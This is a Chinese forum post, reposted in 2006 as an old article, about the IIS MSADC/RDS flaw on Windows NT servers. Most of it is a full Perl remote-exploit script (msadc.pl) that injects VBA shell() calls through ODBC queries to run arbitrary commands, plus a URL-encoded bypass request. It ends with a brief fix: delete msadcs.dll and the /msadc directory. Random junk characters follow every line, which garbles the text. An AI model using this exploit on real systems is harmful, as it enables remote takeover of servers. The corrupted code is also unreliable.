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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )x3p7t)#  
]([^(&2  
涉及程序: oVQbc \P3  
Microsoft NT server 3(`P x}  
heScIe N^`  
描述: (W |;gQ  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "t%Jj89a\  
6z2%/P-'  
详细: (bAw>  
如果你没有时间读详细内容的话,就删除: d' l|oeS  
c:\Program Files\Common Files\System\Msadc\msadcs.dll CU@}{}Yl  
有关的安全问题就没有了。 mo"1|Q&  
elz0t<V  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,</Kn~b  
sAS[wcOQ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 o>HU4O}  
关于利用ODBC远程漏洞的描述,请参看: \V T.bUs  
yof8LWXx  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5c$\DZ(  
nh+Hwj#(x  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 o(yyj'=(  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?2,{+d |  
o~M=o:^nH  
这里不再论述。 06e dVIRr  
BS3{TGn  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: aKintb}n  
B Q2N_*v  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset P=.~LZZ]89  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! B.:1fT7lI  
mrBK{@n  
<R?S  
#将下面这段保存为txt文件,然后: "perl -x 文件名" u.Tknw-X  
s8dP=_ `  
#!perl Z1_F)5pn  
# Dt\rrN:v  
# MSADC/RDS 'usage' (aka exploit) script beB3*o  
# [\rzXE  
# by rain.forest.puppy xlH3t&i7  
# \1hQ7:f;\  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 5A+@xhRf  
# beta test and find errors! CSY-{  
dDa&:L  
use Socket; use Getopt::Std; /=g/{&3[a>  
getopts("e:vd:h:XR", \%args); a(LtiO  
b! r%4Ah  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; wVs"+4l<  
_bt9{@)  
if (!defined $args{h} && !defined $args{R}) { ]Y@_2`  
print qq~ jVh:Bw  
Usage: msadc.pl -h <host> { -d <delay> -X -v } \BX9Wn*)a  
-h <host> = host you want to scan (ip or domain) _l2_) ~  
-d <seconds> = delay between calls, default 1 second Tn9F g7<  
-X = dump Index Server path table, if available !E|m'_x*  
-v = verbose bu -6}T+  
-e = external dictionary file for step 5 YFDOp *  
Ze <)B *  
Or a -R will resume a command session GWLdz0`2_  
DF UTQ:N  
~; exit;} @$iZ9x6t  
w|Ry) [  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";  n (|rs  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} u%lUi2P2E  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,U)&ny  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); p:W{c/tV  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 5nTcd@lX  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !a25cm5ys  
*Ms&WYN-  
if (!defined $args{R}){ $ret = &has_msadc; I;n <) >  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 5{#s<%b.  
s6r(\L_Im  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Mdh]qKw  
. "cmd /c "; +v$W$s&b-h  
$in=<STDIN>; chomp $in; ZH*h1?\X  
$command="cmd /c " . $in ; 9hssI ZO  
RR's W@  
if (defined $args{R}) {&load; exit;} [4aw*M1z}.  
e=aU9v L  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 6nR EuT'k  
&try_btcustmr; o 0T1pGs'  
'IT]VRObP  
print "\nStep 2: Trying to make our own DSN..."; '$eJATtC  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; J Vxja<43  
O;i0xWUh  
print "\nStep 3: Trying known DSNs..."; <EcxNj1  
&known_dsn; D _ 1O4/  
Ji:<eRx)  
print "\nStep 4: Trying known .mdbs..."; 0S9~db  
&known_mdb; OhMJt&s9P=  
3o0ZS^#eB  
if (defined $args{e}){ xRdx` YYu  
print "\nStep 5: Trying dictionary of DSN names..."; {jH'W)nR  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } y/kB`Z(Yj  
dsj}GgG?Z  
print "Sorry Charley...maybe next time?\n"; aC%Q.+-t  
exit; sH_, P  
Iqn (NOq^[  
############################################################################## bo(w$& VW  
# 5U1F[  
sub sendraw { # ripped and modded from whisker m(d|TwG{  
sleep($delay); # it's a DoS on the server! At least on mine... ( Cg vI*O  
my ($pstr)=@_; mQR9Pn}H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || O|)b$H_  
die("Socket problems\n"); M_-L#FHX  
if(connect(S,pack "SnA4x8",2,80,$target)){ ,hT.Ok={36  
select(S); $|=1; E/*&'Osq  
print $pstr; my @in=<S>; ;ISe@ yR;  
select(STDOUT); close(S); k<CbI V  
return @in; hqlQ-aytS  
} else { die("Can't connect...\n"); }} A0U9,M  
^6R(K'E}  
############################################################################## U*E)y7MY  
\G7F/$g  
sub make_header { # make the HTTP request awvP;F?q|  
my $msadc=<<EOT @6UZC-M0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 \v5;t9uBZ  
User-Agent: ACTIVEDATA &"I csxG  
Host: $ip %[s%H)e)  
Content-Length: $clen "tl$JbRTY  
Connection: Keep-Alive W3d+t ?28  
5V\",PA W  
ADCClientVersion:01.06 kd\Hj~*  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 >`SeX:  
2<y9xvp  
--!ADM!ROX!YOUR!WORLD! %>_6&A{K,d  
Content-Type: application/x-varg EwU)(UK  
Content-Length: $reqlen &e;Qabwxva  
^3S&LC 1;|  
EOT \q4r/SbgW  
; $msadc=~s/\n/\r\n/g; ' |B3@9<  
return $msadc;} <F(2D<d{;)  
N$IA~)  
############################################################################## f7][#EL  
R LMn&j|?e  
sub make_req { # make the RDS request e0(aRN{W  
my ($switch, $p1, $p2)=@_; v=0G&x=/  
my $req=""; my $t1, $t2, $query, $dsn; 3Jlap=]68S  
]d@>vzCO  
if ($switch==1){ # this is the btcustmr.mdb query 6hv.;n};  
$query="Select * from Customers where City=" . make_shell(); X?wZ7*'1  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . !khEep}  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ZV+tHgzlv5  
S#v3%)R  
elsif ($switch==2){ # this is general make table query `&7tADFB  
$query="create table AZZ (B int, C varchar(10))"; dXQC}JA  
$dsn="$p1";} %K-8DL8|(  
3Cc#{X-+  
elsif ($switch==3){ # this is general exploit table query P/|1,S k  
$query="select * from AZZ where C=" . make_shell(); >h#w~@e::  
$dsn="$p1";} fz:(mZ%  
o0f`/ 6o  
elsif ($switch==4){ # attempt to hork file info from index server xlu4  
$query="select path from scope()"; BLO ]78  
$dsn="Provider=MSIDXS;";} Q N#bd~  
C-;w}  
elsif ($switch==5){ # bad query kDWEgnXK,v  
$query="select"; kVs YB  
$dsn="$p1";} Cd"{7<OyM4  
bIyg7X)/  
$t1= make_unicode($query); !Kg ']4  
$t2= make_unicode($dsn); `(0B09~7  
$req = "\x02\x00\x03\x00"; )3:0TFS}}k  
$req.= "\x08\x00" . pack ("S1", length($t1)); _3yG<'f[Y  
$req.= "\x00\x00" . $t1 ; l[ $bn!_ e  
$req.= "\x08\x00" . pack ("S1", length($t2)); HdI)Z<Krp  
$req.= "\x00\x00" . $t2 ; tMX$8W0 c  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; n*=#jL  
return $req;} ^zQI_ydG  
60u_,@rV  
############################################################################## 2*V[kmD/3  
#xw*;hW<  
sub make_shell { # this makes the shell() statement !h7.xl OpN  
return "'|shell(\"$command\")|'";} 5HV+7zU5  
+|,4g_(j  
############################################################################## XgHJ Oqt  
-"dt3$ju  
sub make_unicode { # quick little function to convert to unicode DI{*E  
my ($in)=@_; my $out; ;s/<wx-C  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } uoI7' :Nv  
return $out;} 3EICdC  
x'I!f? / &  
############################################################################## r9})~>   
&~Hed_  
sub rdo_success { # checks for RDO return success (this is kludge) jTcv&`fAz  
my (@in) = @_; my $base=content_start(@in); V&s|IoTR  
if($in[$base]=~/multipart\/mixed/){ @nY]S\if  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ' 1gfXC  
return 0;} }r5yAE  
g gx_h  
############################################################################## "U-jZ5o"  
j/*1zu8Y  
sub make_dsn { # this makes a DSN for us XH$r(@Z\7  
my @drives=("c","d","e","f"); YiDOV)  
print "\nMaking DSN: "; '6 F-%  
foreach $drive (@drives) { bT^dtEr[  
print "$drive: "; WqCC4R,-  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . QH9t |l  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 0yI1r7yNB+  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); njaMI8|Pa  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ujX; wGje  
return 0 if $2 eq "404"; # not found/doesn't exist c Rq2 re  
if($2 eq "200") { ~I@ls Ch  
foreach $line (@results) { 0\ = du  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 2+ cs^M3  
} return 0;} 73D< wMgZF  
w>&*-}XX  
############################################################################## 0B]q /G(  
"+ou!YK+  
sub verify_exists { ^!&6 =rb  
my ($page)=@_; xf]K  
my @results=sendraw("GET $page HTTP/1.0\n\n"); F^ 75y?  
return $results[0];} j ) 6  
T`ibulp  
############################################################################## @owneSD qN  
vt|R)[,  
sub try_btcustmr { g 4[Vgmh J  
my @drives=("c","d","e","f"); !wfW0?eu  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9Ux(  
,RV qYh(-|  
foreach $dir (@dirs) { _{Kmj,q  
print "$dir -> "; # fun status so you can see progress Cku"vVw,  
foreach $drive (@drives) { -)`_w^Ox  
print "$drive: "; # ditto 5QMra5Nk  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; %L+q:naZe  
$reqlenlen=length( "$reqlen" ); L=4+rshl!_  
$clen= 206 + $reqlenlen + $reqlen; l<`>  
(90/,@6 6l  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); D0r viO  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}  8s0+6{vW  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} JL1ajlm~  
T }}2J/sj  
############################################################################## vwU1}H  
KUAzJ[>  
sub odbc_error { lM6pYYEq=  
my (@in)=@_; my $base; J?QS7#!%  
my $base = content_start(@in); @%]A,\  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this +3)r szb72  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tJ\ $%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ysW})#7X  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {{?g%mQ6  
return $in[$base+4].$in[$base+5].$in[$base+6];} lK0ny>RB  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7z b^Z]  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 'a ['lF  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \CL8~  
$5R2QNg n  
############################################################################## ZEP?~zV\A  
2r, c{Ah@D  
sub verbose { 35<A :jKS  
my ($in)=@_; jx: IK  
return if !$verbose; 52w@.]  
print STDOUT "\n$in\n";} k?+ 7%A]  
~]?:v,UIm(  
############################################################################## gq7tSkH@  
[FO4x`  
sub save { =@HS  
my ($p1, $p2, $p3, $p4)=@_; ;CYoc4e  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Re$h6sh  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; `2mddx8  
close OUT;} X0lPRk53(  
A~?M`L>B  
############################################################################## v"USD<   
J2bvHxb Rd  
sub load { T ozx0??)  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; p5G'})x  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); !}(B=-  
@p=<IN>; close(IN); X0/slOT  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); sh<Q2X  
$target= inet_aton($ip) || die("inet_aton problems"); AI|vL4*Xd  
print "Resuming to $ip ..."; mMAN* }`O  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ;*A'2ymXUT  
if($p[1]==1) { tW\yt~q,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 5S~ H[>A"  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 2|nm> 4  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); D|- ]<r1"  
if (rdo_success(@results)){print "Success!\n";} 0U '"@A \  
else { print "failed\n"; verbose(odbc_error(@results));}} ZT0\V ]!B  
elsif ($p[1]==3){ NkZG   
if(run_query("$p[3]")){ 02;jeZ#z  
print "Success!\n";} else { print "failed\n"; }} BEdCA]T  
elsif ($p[1]==4){ 9/ <3mF@E  
if(run_query($drvst . "$p[3]")){ AGlBvRX7e  
print "Success!\n"; } else { print "failed\n"; }} ;tOs A #  
exit;} c_J9CKqc  
iC"iR\Qu  
############################################################################## LrB 0x>  
"Ep"$d  
sub create_table { *dl hRa  
my ($in)=@_; :U6` n  
$reqlen=length( make_req(2,$in,"") ) - 28; j*{0<hZb}  
$reqlenlen=length( "$reqlen" ); YpZB-9Krf  
$clen= 206 + $reqlenlen + $reqlen; wlS/(:02  
my @results=sendraw(make_header() . make_req(2,$in,"")); iT]t`7R  
return 1 if rdo_success(@results); J9^NHU  
my $temp= odbc_error(@results); verbose($temp); E~!$&9\  
return 1 if $temp=~/Table 'AZZ' already exists/; 7'0Vb !(  
return 0;} 8z=# 0+0  
7^L  
############################################################################## ^Q/*on;A,/  
wKJG 31I^  
sub known_dsn { '{&Q&3J_  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go qZ1'uln=C-  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", eqx }]#  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", u`bD`kfT>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2W AeSUX  
xS*UY.>  
foreach $dSn (@dsns) { at uqo3  
print "."; Bf{u:TCK  
next if (!is_access("DSN=$dSn")); rH@Rh}#yp  
if(create_table("DSN=$dSn")){ 01cBAu   
print "$dSn successful\n"; DiJLWXs  
if(run_query("DSN=$dSn")){ N J3;[qJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { VotC YJ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} JEjxY&  
\!u<)kkyT  
############################################################################## Lqgrt]L_"  
,H=k5WA4m  
sub is_access { !KHgHKEW^  
my ($in)=@_; 2 bc&sU)X  
$reqlen=length( make_req(5,$in,"") ) - 28; hU?DLl:bXF  
$reqlenlen=length( "$reqlen" ); MAh1tYs4D  
$clen= 206 + $reqlenlen + $reqlen; ( t&RFzE?G  
my @results=sendraw(make_header() . make_req(5,$in,"")); K_i|cYGV  
my $temp= odbc_error(@results); f{BF%;  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); AuNUW0/ 7  
return 0;} 4f LRl-)  
\xYVnjG,  
############################################################################## hD6BP  
d NACE*g;q  
sub run_query { ^<I(  
my ($in)=@_; >pq~ &)^u  
$reqlen=length( make_req(3,$in,"") ) - 28; @16GF!.  
$reqlenlen=length( "$reqlen" ); p9v:T1 ?  
$clen= 206 + $reqlenlen + $reqlen; A3]A5s6  
my @results=sendraw(make_header() . make_req(3,$in,"")); Xu$>$D# a  
return 1 if rdo_success(@results); wZvv5:jKpu  
my $temp= odbc_error(@results); verbose($temp); -Vn#Ab_C  
return 0;} o'2eSm0H  
PK|-2R"M  
############################################################################## 35\ |#2qw6  
W+h2rv  
sub known_mdb { ]#:WL)@  
my @drives=("c","d","e","f","g"); mx Nd_{n  
my @dirs=("winnt","winnt35","winnt351","win","windows"); K%q5:9m  
my $dir, $drive, $mdb; rc_m{.b  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6tKrR{3#A  
QLqtE;;)JK  
# this is sparse, because I don't know of many J0xHpe  
my @sysmdbs=( "\\catroot\\icatalog.mdb", K[[~G1Z  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", aOD h5  
"\\system32\\certmdb.mdb", {npm9w<;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% @*z"Hi>4  
!M^O\C)  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 10S I&O  
"\\cfusion\\cfapps\\forums\\forums_.mdb", *.W3V;K  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", /,\V}`Lx"  
"\\cfusion\\cfapps\\security\\realm_.mdb", }gbLWx'iG  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 7^dr[.Q[*  
"\\cfusion\\database\\cfexamples.mdb", yE}\4_0I/  
"\\cfusion\\database\\cfsnippets.mdb", wQ33Gc  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", f-%M~:  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3FBLCD3  
"\\cfusion\\brighttiger\\database\\cleam.mdb", G6p gG+w  
"\\cfusion\\database\\smpolicy.mdb", nPyn~3  
"\\cfusion\\database\cypress.mdb", V}y]<  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", BA@E  
"\\website\\cgi-win\\dbsample.mdb", 8t!jo.g  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", DU^.5f  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" YBt=8`r  
); #these are just yqN`R\d  
foreach $drive (@drives) { w;'XqpP$*|  
foreach $dir (@dirs){ ]8A*uyi  
foreach $mdb (@sysmdbs) { =gVMt  
print "."; M9iX_4  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 8iIp[9~=  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Ema[M5$R  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ +|/0sPW(  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 6KddHyFz  
} else { print "Something's borked. Use verbose next time\n"; }}}}} A5nggg4  
HE&)N clY  
foreach $drive (@drives) { &%2^B[{  
foreach $mdb (@mdbs) { a_b#hM/c;  
print "."; >7W)iwF  
if(create_table($drv . $drive . $dir . $mdb)){ ]0UYxv%]  
print "\n" . $drive . $dir . $mdb . " successful\n"; o `YBz~2  
if(run_query($drv . $drive . $dir . $mdb)){ @2E52$zu  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; s#^0[ Rt  
} else { print "Something's borked. Use verbose next time\n"; }}}} 9]eG |LFD  
} #)'Iqaq7  
505c(+  
############################################################################## yrxX[Hg?@  
)Rn\6ka  
sub hork_idx { 2Qe&FeT  
print "\nAttempting to dump Index Server tables...\n"; 'g%:/lwA  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; T=PqA)Ym  
$reqlen=length( make_req(4,"","") ) - 28; 6{6hz 8  
$reqlenlen=length( "$reqlen" ); 7Fj8Mp|  
$clen= 206 + $reqlenlen + $reqlen; k A3K   
my @results=sendraw2(make_header() . make_req(4,"","")); )0/9 L  
if (rdo_success(@results)){ ?^U?ua6  
my $max=@results; my $c; my %d; 8:0/Cj  
for($c=19; $c<$max; $c++){ [H*JFKpx  
$results[$c]=~s/\x00//g; |%|03}Q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; -riX=K>$  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; iqlb,8  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; A:m+v{*`4  
$d{"$1$2"}="";} 4EM+Ye  
foreach $c (keys %d){ print "$c\n"; } rt^~ I \V  
} else {print "Index server doesn't seem to be installed.\n"; }} kWW2N0~$  
YrnC'o`  
############################################################################## u\ _yjv#  
P2vG)u  
sub dsn_dict { ]@ruizb8  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 8&U Mmbgy  
while(<IN>){ wG49|!l6T  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _0+X32HjJ  
next if (!is_access("DSN=$dSn")); f-18nF7{  
if(create_table("DSN=$dSn")){ lk>\6o:  
print "$dSn successful\n"; *47/BLys<  
if(run_query("DSN=$dSn")){ pVc+}Wzh  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { h/n(  
print "Something's borked. Use verbose next time\n";}}} u)<]Pb})r  
print "\n"; close(IN);} +j{Cfv$do  
|Y K,&  
############################################################################## $z[S0Cm  
JlYZ\  
sub sendraw2 { # ripped and modded from whisker P!]uJ8bi  
sleep($delay); # it's a DoS on the server! At least on mine... ^i|R6oO_5  
my ($pstr)=@_; 8xENzTR  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =.z;:0]'n  
die("Socket problems\n"); l7g'z'G  
if(connect(S,pack "SnA4x8",2,80,$target)){ G%sq;XT61  
print "Connected. Getting data"; d3:GmB .  
open(OUT,">raw.out"); my @in; l Xa/5QKC  
select(S); $|=1; print $pstr; fJlNxdVr  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} TR3U<:  
close(OUT); select(STDOUT); close(S); return @in; R `ViRJh  
} else { die("Can't connect...\n"); }} bB?E(>N;  
f|,Kh1{e  
############################################################################## k\[(;9sf.  
#_.J kY  
sub content_start { # this will take in the server headers yMWh#[phH  
my (@in)=@_; my $c; opa}z-7>^  
for ($c=1;$c<500;$c++) {  U${W3Ra  
if($in[$c] =~/^\x0d\x0a/){ |OJWQU![by  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } _Gq6xv\b1  
else { return $c+1; }}} Rq}lW.<r  
return -1;} # it should never get here actually vS\2zwb}  
|^l_F1+w  
############################################################################## Qn8xe,  
ASHU0v  
sub funky { Y5tyFi#w[  
my (@in)=@_; my $error=odbc_error(@in); R` < ^/h  
if($error=~/ADO could not find the specified provider/){ fz^j3'!\  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ;(?tlFc  
exit;} N#l2wT  
if($error=~/A Handler is required/){ gl+d0<R zw  
print "\nServer has custom handler filters (they most likely are patched)\n"; pA*C|g  
exit;} ZMQ=D!kT  
if($error=~/specified Handler has denied Access/){ jM\{*!7b  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ip'tB4Mq  
exit;}} jn5xYKv  
i#V(oSx  
############################################################################## \I!mzo  
QP%_2m>yhl  
sub has_msadc { ]"_c-=  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); WrGA7&!+  
my $base=content_start(@results); ~gpxK{  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); g[G /If  
return 0;} 2#7|zhgb  
n- 2X?<_Z  
######################## ~Y x_ 3  
y`va6 %u{  
1*8;)#%&  
解决方案: Lyhuyb)k5^  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll <(KCiM=E$  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6RbDc *  
hTDGgSG^  
拿出来充数 哈哈
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